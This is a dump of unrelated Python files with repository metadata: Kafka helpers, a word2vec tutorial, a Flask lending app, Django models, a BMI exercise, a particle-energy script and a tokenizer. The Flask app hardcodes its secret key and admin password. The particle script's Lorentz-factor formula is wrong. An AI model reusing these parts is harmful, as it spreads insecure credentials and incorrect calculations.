self.parser.write(cfgFile) # PUBLIC METHODS def has(self, section=None, option=None): if section is not None: # if option is not specified, search only for the section if option is None: return self.parser.has_section(section) # else, search for the option within the specified section else: return self.parser.has_option(section, option) # if section is not specified else: ac.console("OV1: Config.has -- section must be specified.") def set(self, section=None, option=None, value=None): if section is not None: # if option is not specified, add the specified section if option is None: self.parser.add_section(section) self._write() # else, add the option within the specified section else: if not self.has(section, option) and value is None: ac.console("OV1: Config.set -- a value must be passed.") else: self.parser.set(section, option, value) self._write() # if sections is not specified else: ac.console("OV1: Config.set -- section must be specified.") def get(self, section, option, type = ""): if self.has(section) and self.has(section, option): # if option request is an integer if type == "int": return self.parser.getint(section, option) # if option request is a float elif type == "float": return self.parser.getfloat(section, option) # if option request is boolean elif type == "bool": return self.parser.getboolean(section, option) # it must be a string then! else: return self.parser.get(section, option) else: return -1 def remSection(self, section): if self.has(section): self.parser.remove_section(section) self._write() else: ac.console("OV1: Config.remSection -- section not found.") def remOption(self, section, option): if self.has(section) and self.has(section, option): self.parser.remove_option(section, option) self._write() else: ac.console("OV1: Config.remOption -- option not found.")

[ "illvdg13@gmail.com" ]

illvdg13@gmail.com

6648b654370e9eee63bebb282364304a07b5731a

c422b95417eaa7ce3707f2b47c0742b53b726c19

/pyrandall/kafka.py

65c6fc3c280bc5fc38dedd7ab97e5fca6b427f18

[ "Apache-2.0" ]

permissive

e7dal/pyrandall

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0d170fd6ad25332dfc819db1be09cdc2736a5e4c

refs/heads/master

2021-01-05T17:49:01.623306

2019-09-27T11:33:58

null

0

null

UTF-8

Python

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7,573

py

import configparser import io import logging import os import sys import time from enum import Enum from typing import Dict from confluent_kafka.cimpl import Consumer, KafkaError, KafkaException, Producer log = logging.getLogger("kafka") class ConsumerState(Enum): PARTITIONS_UNASSIGNED = 0 PARTITIONS_ASSIGNED = 1 TIMEOUT_SET = 2 class KafkaConn: def __init__(self): self.consume_lock = ConsumerState.PARTITIONS_UNASSIGNED # callback for consumer partition assignment, # removes lock for actual consumption def callback_on_assignment(self, consumer, partitions): self.consume_lock = ConsumerState.PARTITIONS_ASSIGNED log.info(f"Assignment: {partitions}") def check_connection(self): def check_callback(error, event): if error: if error.code() == KafkaError._MSG_TIMED_OUT: log.error( "This Timout might indicate the broker is down or connection is misconfigured" ) log.error(f"Error while producing initial msg: {error}") sys.exit(1) config = ConfigFactory(kafka_client="producer").config config["delivery.timeout.ms"] = "3000" # 3 seconds prod = Producer(config) prod.produce("pyrandall", "starting simulate", callback=check_callback) prod.flush() # block until callback is called def prod_reporter(self, error, event): if error: log.error(f"Error producing the event: {error}") else: log.info( f"Event produced, topic: {event.topic()}, \ partition: {event.partition()}" ) def produce_message(self, topic, body, headers=None, partition_key=None): if headers is None: msg_headers = {} self._produce(topic, body, partition_key, msg_headers) self.producer.flush() def init_producer(self): log.info("starting produce") kafka_config_producer = ConfigFactory(kafka_client="producer") config = kafka_config_producer.config log.info("kafka config for produce %s", config) self.check_connection() self.producer = Producer(config) def _produce(self, topic, msg, partition_key=None, headers=None): try: if partition_key: self.producer.produce( topic, msg, key=partition_key, callback=self.prod_reporter ) else: self.producer.produce(topic, msg, callback=self.prod_reporter) print(".", end="") except BufferError: log.error( "%% Local producer queue is full (%d messages \ awaiting delivery): try again", len(self.producer), ) # The consume function now contains a lock, the lock is removed when the # partitions are assigned (max 60 seconds). After assignment the regular # timeout are used. These should be set to a couple of seconds in the # scenario itself . def consume(self, topic, topic_timeout): kafka_config_consumer = ConfigFactory(kafka_client="consumer") config = kafka_config_consumer.config log.info("kafka config for consume %s", config) kcons = Consumer(config) events = [] start_time = time.monotonic() timeout_start_time = start_time timeout_consumer = 60.0 # actual consumer starts now # subscribe to 1 or more topics and define the callback function # callback is only received after consumer.consume() is called! kcons.subscribe([topic], on_assign=self.callback_on_assignment) log.info("Waiting for partition assignment ... (timeout at 60 seconds") try: while (time.monotonic() - timeout_start_time) < timeout_consumer: # start consumption messages = kcons.consume(timeout=0.1) # check for partition assignment if self.consume_lock == ConsumerState.PARTITIONS_UNASSIGNED: # this should not happen but we are not 100% sure if messages: log.error("messages consumed but lock is unopened") break continue # after partition assignment set the timeout again # and reset the start time from which to determine timeout # violation elif self.consume_lock == ConsumerState.PARTITIONS_ASSIGNED: timeout_start_time = time.monotonic() timeout_consumer = topic_timeout self.consume_lock = ConsumerState.TIMEOUT_SET log.info("Lock has been opened, consuming ...") # appened messages to the events list to be returned if messages: for msg in messages: log.info( f"message at offset: {msg.offset()}, \ partition: {msg.partition()}, \ topic: {msg.topic()}" ) events.append(msg.value()) else: # at the end check if the partition assignment was achieved if self.consume_lock != ConsumerState.TIMEOUT_SET: log.error("No partition assignments received in time") except KafkaException as e: log.error(f"Kafka error: {e}") pass finally: kcons.close() end_time = time.monotonic() log.debug(f"this cycle took: {(end_time - start_time)} seconds") return events class ConfigFactory: def __init__(self, kafka_client=None, fpath=None): self.config = {} kafka_properties = os.environ.get("KAFKA_PROPERTIES") if fpath is not None: # print("fpath") self.config = self.from_properties(fpath) elif kafka_properties: # print("kafka_properties") self.config = self.from_properties(kafka_properties) else: # print("from_env") self.config = self.from_env() if kafka_client == "consumer": self.config["group.id"] = "pyrandall-test" self.config["auto.offset.reset"] = "earliest" # self.config['debug'] = "topic,msg,broker" self.config["enable.partition.eof"] = "false" elif kafka_client == "producer": # self.config['debug'] = "topic,msg,broker" self.config["max.in.flight.requests.per.connection"] = 1 self.config["enable.idempotence"] = True self.config["retries"] = 1 self.config["delivery.timeout.ms"] = "30000" # 30 seconds pass @staticmethod def from_env() -> Dict[str, str]: config = {} broker = os.environ.get("KAFKA_BOOTSTRAP_SERVERS", "localhost:9092") config["bootstrap.servers"] = broker return config @staticmethod def from_properties(fpath) -> Dict[str, str]: section = "root" with open(fpath) as f: ini_str = io.StringIO(f"[{section}]\n" + f.read()) parser = configparser.ConfigParser() parser.read_file(ini_str, "strioIO") # check parsing was done correctly assert parser.sections() == [section] return dict(parser.items(section))

[ "stefano.oldeman@gmail.com" ]

stefano.oldeman@gmail.com

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2020-03-22T09:58:20.236304

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# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Basic word2vec example.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import math import os import sys import argparse import random from tempfile import gettempdir import zipfile import numpy as np from six.moves import urllib from six.moves import xrange # pylint: disable=redefined-builtin import tensorflow as tf from tensorflow.contrib.tensorboard.plugins import projector # Give a folder path as an argument with '--log_dir' to save # TensorBoard summaries. Default is a log folder in current directory. current_path = os.path.dirname(os.path.realpath(sys.argv[0])) parser = argparse.ArgumentParser() parser.add_argument( '--log_dir', type=str, default=os.path.join(current_path, 'log'), help='The log directory for TensorBoard summaries.') FLAGS, unparsed = parser.parse_known_args() # Create the directory for TensorBoard variables if there is not. if not os.path.exists(FLAGS.log_dir): os.makedirs(FLAGS.log_dir) # Step 1: Download the data. url = 'http://mattmahoney.net/dc/' # pylint: disable=redefined-outer-name def maybe_download(filename, expected_bytes): """Download a file if not present, and make sure it's the right size.""" local_filename = os.path.join(gettempdir(), filename) if not os.path.exists(local_filename): local_filename, _ = urllib.request.urlretrieve(url + filename, local_filename) statinfo = os.stat(local_filename) if statinfo.st_size == expected_bytes: print('Found and verified', filename) else: print(statinfo.st_size) raise Exception('Failed to verify ' + local_filename + ' Can you get to it with a browser?') return local_filename filename = maybe_download('text8.zip', 31344016) # Read the data into a list of strings. def read_data(filename): """Extract the first file enclosed in a zip file as a list of words.""" with zipfile.ZipFile(filename) as f: data = tf.compat.as_str(f.read(f.namelist()[0])).split() return data vocabulary = read_data(filename) print('Data size', len(vocabulary)) # Step 2: Build the dictionary and replace rare words with UNK token. vocabulary_size = 50000 def build_dataset(words, n_words): """Process raw inputs into a dataset.""" count = [['UNK', -1]] # unknown word count.extend(collections.Counter(words).most_common(n_words - 1)) # get the most common words dictionary = dict() for word, _ in count: dictionary[word] = len(dictionary) # label each word with a number data = list() unk_count = 0 for word in words: index = dictionary.get(word, 0) if index == 0: # dictionary['UNK'] unk_count += 1 data.append(index) count[0][1] = unk_count reversed_dictionary = dict(zip(dictionary.values(), dictionary.keys())) return data, count, dictionary, reversed_dictionary # Filling 4 global variables: # data - list of codes (integers from 0 to vocabulary_size-1). # This is the original text but words are replaced by their codes # count - map of words(strings) to count of occurrences # dictionary - map of words(strings) to their codes(integers) # reverse_dictionary - maps codes(integers) to words(strings) data, count, dictionary, reverse_dictionary = build_dataset(vocabulary, vocabulary_size) del vocabulary # Hint to reduce memory. print('Most common words (+UNK)', count[:5]) print('Sample data', data[:10], [reverse_dictionary[i] for i in data[:10]]) data_index = 0 # Step 3: Function to generate a training batch for the skip-gram model. def generate_batch(batch_size, num_skips, skip_window): global data_index assert batch_size % num_skips == 0 assert num_skips <= 2 * skip_window batch = np.ndarray(shape=(batch_size), dtype=np.int32) labels = np.ndarray(shape=(batch_size, 1), dtype=np.int32) span = 2 * skip_window + 1 # [ skip_window target skip_window ] buffer = collections.deque(maxlen=span) # pylint: disable=redefined-builtin if data_index + span > len(data): data_index = 0 buffer.extend(data[data_index:data_index + span]) data_index += span for i in range(batch_size // num_skips): context_words = [w for w in range(span) if w != skip_window] words_to_use = random.sample(context_words, num_skips) for j, context_word in enumerate(words_to_use): batch[i * num_skips + j] = buffer[skip_window] labels[i * num_skips + j, 0] = buffer[context_word] if data_index == len(data): buffer.extend(data[0:span]) data_index = span else: buffer.append(data[data_index]) data_index += 1 # Backtrack a little bit to avoid skipping words in the end of a batch data_index = (data_index + len(data) - span) % len(data) return batch, labels batch, labels = generate_batch(batch_size=8, num_skips=2, skip_window=1) for i in range(8): print(batch[i], reverse_dictionary[batch[i]], '->', labels[i, 0], reverse_dictionary[labels[i, 0]]) # Step 4: Build and train a skip-gram model. batch_size = 128 embedding_size = 128 # Dimension of the embedding vector. skip_window = 1 # How many words to consider left and right. num_skips = 2 # How many times to reuse an input to generate a label. num_sampled = 64 # Number of negative examples to sample. # We pick a random validation set to sample nearest neighbors. Here we limit the # validation samples to the words that have a low numeric ID, which by # construction are also the most frequent. These 3 variables are used only for # displaying model accuracy, they don't affect calculation. valid_size = 16 # Random set of words to evaluate similarity on. valid_window = 100 # Only pick dev samples in the head of the distribution. valid_examples = np.random.choice(valid_window, valid_size, replace=False) graph = tf.Graph() with graph.as_default(): # Input data. with tf.name_scope('inputs'): train_inputs = tf.placeholder(tf.int32, shape=[batch_size]) train_labels = tf.placeholder(tf.int32, shape=[batch_size, 1]) valid_dataset = tf.constant(valid_examples, dtype=tf.int32) # Ops and variables pinned to the CPU because of missing GPU implementation with tf.device('/cpu:0'): # Look up embeddings for inputs. with tf.name_scope('embeddings'): embeddings = tf.Variable( tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0)) embed = tf.nn.embedding_lookup(embeddings, train_inputs) # Construct the variables for the NCE loss with tf.name_scope('weights'): nce_weights = tf.Variable( tf.truncated_normal( [vocabulary_size, embedding_size], stddev=1.0 / math.sqrt(embedding_size))) with tf.name_scope('biases'): nce_biases = tf.Variable(tf.zeros([vocabulary_size])) # Compute the average NCE loss for the batch. # tf.nce_loss automatically draws a new sample of the negative labels each # time we evaluate the loss. # Explanation of the meaning of NCE loss: # http://mccormickml.com/2016/04/19/word2vec-tutorial-the-skip-gram-model/ with tf.name_scope('loss'): loss = tf.reduce_mean( tf.nn.nce_loss( weights=nce_weights, biases=nce_biases, labels=train_labels, inputs=embed, num_sampled=num_sampled, num_classes=vocabulary_size)) # Add the loss value as a scalar to summary. tf.summary.scalar('loss', loss) # Construct the SGD optimizer using a learning rate of 1.0. with tf.name_scope('optimizer'): optimizer = tf.train.GradientDescentOptimizer(1.0).minimize(loss) # Compute the cosine similarity between minibatch examples and all embeddings. norm = tf.sqrt(tf.reduce_sum(tf.square(embeddings), 1, keep_dims=True)) normalized_embeddings = embeddings / norm valid_embeddings = tf.nn.embedding_lookup(normalized_embeddings, valid_dataset) similarity = tf.matmul(valid_embeddings, normalized_embeddings, transpose_b=True) # Merge all summaries. merged = tf.summary.merge_all() # Add variable initializer. init = tf.global_variables_initializer() # Create a saver. saver = tf.train.Saver() # Step 5: Begin training. num_steps = 100001 with tf.Session(graph=graph) as session: # Open a writer to write summaries. writer = tf.summary.FileWriter(FLAGS.log_dir, session.graph) # We must initialize all variables before we use them. init.run() print('Initialized') average_loss = 0 for step in xrange(num_steps): batch_inputs, batch_labels = generate_batch(batch_size, num_skips, skip_window) feed_dict = {train_inputs: batch_inputs, train_labels: batch_labels} # Define metadata variable. run_metadata = tf.RunMetadata() # We perform one update step by evaluating the optimizer op (including it # in the list of returned values for session.run() # Also, evaluate the merged op to get all summaries from the returned "summary" variable. # Feed metadata variable to session for visualizing the graph in TensorBoard. _, summary, loss_val = session.run( [optimizer, merged, loss], feed_dict=feed_dict, run_metadata=run_metadata) average_loss += loss_val # Add returned summaries to writer in each step. writer.add_summary(summary, step) # Add metadata to visualize the graph for the last run. if step == (num_steps - 1): writer.add_run_metadata(run_metadata, 'step%d' % step) if step % 2000 == 0: if step > 0: average_loss /= 2000 # The average loss is an estimate of the loss over the last 2000 batches. print('Average loss at step ', step, ': ', average_loss) average_loss = 0 # Note that this is expensive (~20% slowdown if computed every 500 steps) if step % 10000 == 0: sim = similarity.eval() for i in xrange(valid_size): valid_word = reverse_dictionary[valid_examples[i]] top_k = 8 # number of nearest neighbors nearest = (-sim[i, :]).argsort()[1:top_k + 1] log_str = 'Nearest to %s:' % valid_word for k in xrange(top_k): close_word = reverse_dictionary[nearest[k]] log_str = '%s %s,' % (log_str, close_word) print(log_str) final_embeddings = normalized_embeddings.eval() # Write corresponding labels for the embeddings. with open(FLAGS.log_dir + '/metadata.tsv', 'w') as f: for i in xrange(vocabulary_size): f.write(reverse_dictionary[i] + '\n') # Save the model for checkpoints. saver.save(session, os.path.join(FLAGS.log_dir, 'model.ckpt')) # Create a configuration for visualizing embeddings with the labels in TensorBoard. config = projector.ProjectorConfig() embedding_conf = config.embeddings.add() embedding_conf.tensor_name = embeddings.name embedding_conf.metadata_path = os.path.join(FLAGS.log_dir, 'metadata.tsv') projector.visualize_embeddings(writer, config) writer.close() # Step 6: Visualize the embeddings. # pylint: disable=missing-docstring # Function to draw visualization of distance between embeddings. def plot_with_labels(low_dim_embs, labels, filename): assert low_dim_embs.shape[0] >= len(labels), 'More labels than embeddings' plt.figure(figsize=(18, 18)) # in inches for i, label in enumerate(labels): x, y = low_dim_embs[i, :] plt.scatter(x, y) plt.annotate( label, xy=(x, y), xytext=(5, 2), textcoords='offset points', ha='right', va='bottom') plt.savefig(filename) try: # pylint: disable=g-import-not-at-top from sklearn.manifold import TSNE import matplotlib.pyplot as plt tsne = TSNE(perplexity=30, n_components=2, init='pca', n_iter=5000, method='exact') plot_only = 500 low_dim_embs = tsne.fit_transform(final_embeddings[:plot_only, :]) labels = [reverse_dictionary[i] for i in xrange(plot_only)] plot_with_labels(low_dim_embs, labels, os.path.join(gettempdir(), 'tsne.png')) except ImportError as ex: print('Please install sklearn, matplotlib, and scipy to show embeddings.') print(ex)

[ "abdcelikkanat@gmail.com" ]

abdcelikkanat@gmail.com

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roctbb/GoTo

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__author__ = 'roctbb' from random import choice def step(history): return choice(["камень", "ножницы","бумага"])

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2021-01-21T06:19:12.078150

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#!C:\python36\python.exe ''' Created on 10 Mar 2017 @author: Graham ''' import sqlite3 import os import lendydata from flask import Flask, request, session, g, redirect, url_for, abort, \ render_template, flash from werkzeug.utils import redirect from flask.templating import render_template app = Flask(__name__) # Load default config and override config from environment variable app.config.update(dict( DATABASE = os.path.join(app.root_path, 'lendy.db'), DEBUG = True, SECRET_KEY = "nickknackpaddywhack", USERNAME = "admin", PASSWORD = "DONOTUSE" )) app.config.from_envvar("LENDY_SETTINGS", silent = True) def get_db(): ''' Opens a new database connection if one does not exist for our current request context (the g object helps with this task)''' if not hasattr(g, "sqlite_db"): lendydata.initDB() g.sqlite_db = lendydata.db return g.sqlite_db @app.teardown_appcontext def close_db(error): ''' Closes the database again at the end of the request. Note that the "g" object which makes sure we only operate on the current request ''' if hasattr(g, "sqllite_db"): lendydata.closeDB() @app.route("/") @app.route("/login", methods = ["GET", "POST"]) def login(): error = None if request.method == "POST": if request.form["username"] != app.config["USERNAME"]: error = "Invalid username" elif request.form["password"] != app.config["PASSWORD"]: error = "Invalid password" else: session["logged_in"] = True flash("You were logged in") return redirect(url_for("show_inventory")) return render_template("login.html", error = error) @app.route('/inventory') def show_inventory(): get_db() allItems = lendydata.get_items() inventory = [dict(zip(['name','description'],[item[1],item[2]])) for item in allItems] return render_template('items.html', items=inventory) @app.route('/add', methods=['POST']) def add_item(): if not session.get('logged_in'): abort(401) get_db() ownerID = [row[0] for row in lendydata.get_members() if row[1] == request.form['owner']] try: ownerID = ownerID[0] except IndexError: # implies no owners match name # should raise error/create new member ownerID = 1 # use default member for now. lendydata.insert_item(request.form['name'], request.form['description'], ownerID, request.form['price'], request.form['condition']) flash('New entry was successfully posted') return redirect(url_for('show_inventory')) if __name__ == "__main__": app.run()

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# -*- coding: utf-8 -*- """ Created on Tue Jan 26 18:31:14 2021 @author: Benjamin """ import sys import pandas as pd import json import datetime from datetime import date import argparse # import eml_parser # import email # from email import policy # from email.parser import BytesParser import rich.console import rich.highlighter import rich.pretty DEFAULT_DB = '../db.csv' parser = argparse.ArgumentParser(description='Process new contribution') parser.add_argument('-csv', type=str, help='csv') parser.add_argument('-raw', type=str, help='raw csv') parser.add_argument('-eml_file', type=str, help='eml new contribution filename') parser.add_argument('-db', type=str, help='db filename', default=DEFAULT_DB) args = parser.parse_args() def make_console(verbose): """ Start up the :class:`rich.console.Console` instance we'll use. Parameters ---------- verbose : bool Whether or not to print status messages to stderr. """ return rich.console.Console(stderr=True, quiet=not verbose, highlight=False) def main(): verbose = True console = make_console(verbose) style = "bold blue" try: process(verbose, console, style) except Exception: style = "bold red" console.print() console.rule(":fire: Error messages start here :fire:", style=style) console.print_exception() console.rule(":fire: Error messages above :fire:", style=style) console.print() def process(verbose,console, style,**kargs): csv = args.csv db_name = args.db db = pd.read_csv(db_name) console.print('db before update', style=style) console.print(db[-3:]) console.print('save a backup with date flag', style=style) today = date.today() console.print("Today's date:", today, style=style) db.to_csv('../backup/' +'db_backup' + str(today) +'.csv',sep=',') #%% read new contribution new = pd.read_csv(csv) print(new['id'][0], new['surname'][0], new['name'][0]) check_values(new,console,style) check_duplicate(db,new,console,style) add_to_db(db,new,db_name,console,style) def check_values(new,console,style): console.print('checking value types', style=style) email_ck = '@' lat_long = 'float' contribution_type = 'Peer reviewed publication' publication_date_ck = datetime.date new_dict = new.to_dict() if isinstance(new_dict['publication_date'][0], publication_date_ck): console.print('publication_date not correct', style='bold red') sys.exit() if '@' not in new_dict['email'][0]: console.print('email not correct', new_dict['email'][0], style='bold red') sys.exit() def check_duplicate(db,new,console,style): console.print('checking duplicates', style=style) unique_keys_check = ['publication_link','latitude'] db_dict = db.to_dict() new_dict = new.to_dict() pub_link = db['publication_link'].tolist() if new_dict['publication_link'][0] in pub_link: console.print('simililar DOI', style='bold red') sys.exit() def add_to_db(db,new,db_name,console,style): new['id']=db['id'].max()+1 db = db.append(new) console.print('db after update', style=style) console.print(db[-3:]) db.to_csv(db_name,sep=',',index=False) today = date.today() name_backup = new['surname'][0] + new['name'][0] + str(today) + '.csv' new.to_csv('../backup/'+ str(name_backup),sep=',',index=False) def eml_parser(): ''' Parse directly from eml file ''' eml_file_new_contrib = args.eml_file with open(eml_file_new_contrib, 'rb') as fp: # select a specific email file from the list name = fp.name # Get file name msg = BytesParser(policy=policy.default).parse(fp) text = msg.get_content() fp.close() print(text) if __name__ == '__main__': main()

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''' Desenvolva uma lógica que leia o peso e a altura de uma pessoa, calcule seu IMC e mostre seu status, de acordo com a tabela abaixo: - Abaixo de 18.5: Abaixo do Peso | - Entre 18.5 e 25: Peso ideal | 25 até 30: Sobrepeso | 30 até 40: Obesidade - Acima de 40: Obesidade Morbida ''' #Declarando as variáveis print('\033[31mExemplo: KG 70\033[0;0m') weight = float(input('Digite seu peso: KG ')) print('\033[31mExemplo: M 1.85\033[0;0m') height = float(input('Digite sua altura: M ')) imc = weight / (height ** 2) print('O IMC desta pessoa é {:.1f}'.format(imc)) #Declarando as condições if imc < 18.5: print('Você está abaixo do peso') elif 18.5 <= imc < 25: print('Você está na faixa de peso ideal') elif 25 <= imc < 30: print('Sobrepeso') elif 30 <= imc < 40: print('Obesidade') elif imc >= 40: print('Obesidade Mórbida')

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import uuid import os from django.db import models from django.contrib.auth.models import AbstractBaseUser, BaseUserManager, \ PermissionsMixin from django.conf import settings def recipe_image_file_path(instance, filename): """Generate file path for new recipe image""" ext = filename.split('.')[-1] filename = f'{uuid.uuid4()}.{ext}' return os.path.join('uploads/recipe/', filename) class UserManager(BaseUserManager): def create_user(self, email, password, **extra_fields): """Creates and saves a new user""" if not email: raise ValueError('Users must have an email address') user = self.model(email=self.normalize_email(email), **extra_fields) user.set_password(password) user.save(using=self._db) return user def create_superuser(self, email, password): """Creates and saves a new superuser""" user = self.create_user(email, password) user.is_staff = True user.is_superuser = True user.save(using=self._db) return user class User(AbstractBaseUser, PermissionsMixin): """Custom user model that supports using email instead of username""" email = models.EmailField(max_length=255, unique=True) name = models.CharField(max_length=255) is_active = models.BooleanField(default=True) is_staff = models.BooleanField(default=False) objects = UserManager() USERNAME_FIELD = 'email' class Tag(models.Model): """Tag to be used for a recipe""" name = models.CharField(max_length=255) user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) def __str__(self): return self.name class Ingredient(models.Model): """Ingredient for a recipe""" name = models.CharField(max_length=255) user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) def __str__(self): return self.name class Recipe(models.Model): """Recipe object""" user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE ) title = models.CharField(max_length=255) time_minutes = models.IntegerField() price = models.DecimalField(max_digits=5, decimal_places=2) link = models.CharField(max_length=255, blank=True) ingredients = models.ManyToManyField('Ingredient') tags = models.ManyToManyField('Tag') image = models.ImageField(null=True, upload_to=recipe_image_file_path) def __str__(self): return self.title

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# -*- coding: utf-8 -*- ## THESE PROGRAMS ALLOW YOU TO CALCULATE ## THE ENERGY OF A LIQUID, PARTICULE ## AND MAYBE SOME OTHERS THINGS NOT CODED YET ##LICENSE : DO WHAT THE FUCK YOU WANT ## ./particle.py argv1 argv2 --> argv1: speed particle && argv2: particle's mass import sys,math args=len(sys.argv) if args != 3: print("There isn't enough or too much arguments.\ \nYou have to give exactly two arguments.\n\n\ The first argument is the speed of the particle\n\ And the second argument is the mass of the particle.\ \nExiting...") sys.exit() pass def lorentzian_factor(v, c): y=1/(((1-v*2)/(c*2))*0.5) return float(y) pass def impulsion(y,m,v): p=y*m*v return float(p) pass def energy_computing(m, c, p): m=math.pow(m, 2) cc=math.pow(c, 4) pp=math.pow(p, 2) c=math.pow(c, 2) EE=((m*cc)+pp*c) EE=float(EE) return EE pass v=float(sys.argv[1]) #v is the speed of the particle m=float(sys.argv[2]) #mass of the particle c=float(299792458) #Fiat lux! y=lorentzian_factor(v,c) y=float(y) print("The lorentzian factor is : " + str(y)) p=impulsion(y,m,v) print("The impulsion is : " + str(p)) energy=energy_computing(m,c,p) print("E²=" + str(energy) + "") print("Therefore, we have :\n\ E="+ str(math.sqrt(float(energy)))) sys.exit()

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#!/Users/carolinecourtney/trydjango19/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))

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2022-11-18T14:48:04.031224

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# coding=utf-8 # Copyright 2018 The Open AI Team Authors and The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tokenization classes for OpenAI GPT.""" from __future__ import (absolute_import, division, print_function, unicode_literals) import json import logging import os import re import sys from io import open from tqdm import tqdm from .file_utils import cached_path from .tokenization import BasicTokenizer logger = logging.getLogger(__name__) PRETRAINED_VOCAB_ARCHIVE_MAP = { 'openai-gpt': "https://s3.amazonaws.com/models.huggingface.co/bert/openai-gpt-vocab.json", } PRETRAINED_MERGES_ARCHIVE_MAP = { 'openai-gpt': "https://s3.amazonaws.com/models.huggingface.co/bert/openai-gpt-merges.txt", } PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP = { 'openai-gpt': 512, } VOCAB_NAME = 'vocab.json' MERGES_NAME = 'merges.txt' SPECIAL_TOKENS_NAME = 'special_tokens.txt' def get_pairs(word): """ Return set of symbol pairs in a word. word is represented as tuple of symbols (symbols being variable-length strings) """ pairs = set() prev_char = word[0] for char in word[1:]: pairs.add((prev_char, char)) prev_char = char return pairs def text_standardize(text): """ fixes some issues the spacy tokenizer had on books corpus also does some whitespace standardization """ text = text.replace('—', '-') text = text.replace('–', '-') text = text.replace('―', '-') text = text.replace('…', '...') text = text.replace('´', "'") text = re.sub(r'''(-+|~+|!+|"+|;+|\?+|\++|,+|\)+|\(+|\\+|\/+|\*+|\[+|\]+|}+|{+|\|+|_+)''', r' \1 ', text) text = re.sub(r'\s*\n\s*', ' \n ', text) text = re.sub(r'[^\S\n]+', ' ', text) return text.strip() class OpenAIGPTTokenizer(object): """ BPE tokenizer. Peculiarities: - lower case all inputs - uses SpaCy tokenizer and ftfy for pre-BPE tokenization if they are installed, fallback to BERT's BasicTokenizer if not. - argument special_tokens and function set_special_tokens: can be used to add additional symbols (ex: "__classify__") to a vocabulary. """ @classmethod def from_pretrained(cls, pretrained_model_name_or_path, cache_dir=None, *inputs, **kwargs): """ Instantiate a PreTrainedBertModel from a pre-trained model file. Download and cache the pre-trained model file if needed. """ if pretrained_model_name_or_path in PRETRAINED_VOCAB_ARCHIVE_MAP: vocab_file = PRETRAINED_VOCAB_ARCHIVE_MAP[pretrained_model_name_or_path] merges_file = PRETRAINED_MERGES_ARCHIVE_MAP[pretrained_model_name_or_path] special_tokens_file = None else: vocab_file = os.path.join(pretrained_model_name_or_path, VOCAB_NAME) merges_file = os.path.join(pretrained_model_name_or_path, MERGES_NAME) special_tokens_file = os.path.join(pretrained_model_name_or_path, SPECIAL_TOKENS_NAME) if not os.path.exists(special_tokens_file): special_tokens_file = None else: logger.info("loading special tokens file {}".format(special_tokens_file)) # redirect to the cache, if necessary try: resolved_vocab_file = cached_path(vocab_file, cache_dir=cache_dir) resolved_merges_file = cached_path(merges_file, cache_dir=cache_dir) print('DDDDDDDDDDDDDDDDDDDDDDDDD', resolved_vocab_file) print('ddddddddddddddddddddddd', resolved_merges_file) except EnvironmentError: logger.error( "Model name '{}' was not found in model name list ({}). " "We assumed '{}' was a path or url but couldn't find files {} and {} " "at this path or url.".format( pretrained_model_name_or_path, ', '.join(PRETRAINED_VOCAB_ARCHIVE_MAP.keys()), pretrained_model_name_or_path, vocab_file, merges_file)) return None if resolved_vocab_file == vocab_file and resolved_merges_file == merges_file: logger.info("loading vocabulary file {}".format(vocab_file)) logger.info("loading merges file {}".format(merges_file)) else: logger.info("loading vocabulary file {} from cache at {}".format( vocab_file, resolved_vocab_file)) logger.info("loading merges file {} from cache at {}".format( merges_file, resolved_merges_file)) if pretrained_model_name_or_path in PRETRAINED_VOCAB_POSITIONAL_EMBEDDINGS_SIZE_MAP: # if we're using a pretrained 